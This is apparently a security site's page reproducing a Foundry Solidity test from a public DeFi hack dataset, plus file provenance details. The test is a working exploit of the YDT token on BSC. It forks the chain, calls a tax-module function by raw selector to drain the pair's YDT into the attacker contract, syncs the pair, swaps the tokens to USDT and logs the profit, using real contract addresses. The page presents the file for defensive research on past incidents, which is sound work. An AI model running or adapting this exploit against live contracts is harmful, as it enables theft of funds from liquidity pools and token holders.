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Public reproduction file

src/test/2025-05/YDTtoken_exp.sol

Public reproduction file for dataset entry YDT.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-05/YDTtoken_exp.sol51 lines
1// SPDX-License-Identifier: UNLICENSED
2
3import "../interface.sol";
4import "forge-std/Test.sol";
5
6
7pragma solidity ^0.8.13;
8
9
10contract ContractTest is Test {
12 address USDT = 0x55d398326f99059fF775485246999027B3197955;
13 address YDT= 0x3612e4Cb34617bCac849Add27366D8D85C102eFd;
14 address taxmodule =0x013E29791A23020cF0621AeCe8649c38DaAE96f0;
15 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
16 address Pair=0xFd13B6E1d07bAd77Dd248780d0c3d30859585242;
17 IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
20 function setUp() public {
21 vm.createSelectFork("bsc", 50273545);
22 }
24 function testExploit() public {
25 uint256 amount=IERC20(YDT).balanceOf(address(Pair));
27 address(YDT).call(abi.encodeWithSelector(bytes4(0xec22f4c7),address(Pair),address(this),amount - 1000*1e6,address(taxmodule)));
29 address(Pair).call(abi.encodeWithSelector(bytes4(0xfff6cae9)));
30 address[] memory path = new address[](2);
31 path[0] = address(YDT);
32 path[1] = address(USDT);
33 IERC20(YDT).approve(address(Router),type(uint256).max);
34 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
35 IERC20(YDT).balanceOf(address(this)) / 10,
36 0,
37 path,
38 address(this),
39 block.timestamp +200
40 );
43 emit log_named_decimal_uint("Profit in ", IERC20(USDT).balanceOf(address(this)), 18);
45 }
47 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “YDT” (2025-05-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

16 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

File record

Name
YDT
Path
src/test/2025-05/YDTtoken_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
45b1f5d1cb46e1cd89733ed61bfcb9bdc7df334b
Language
Solidity
Size
52 lines
Date
2025-05-26
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-05/YDTtoken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 45b1f5d1cb46e1cd89733ed61bfcb9bdc7df334b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.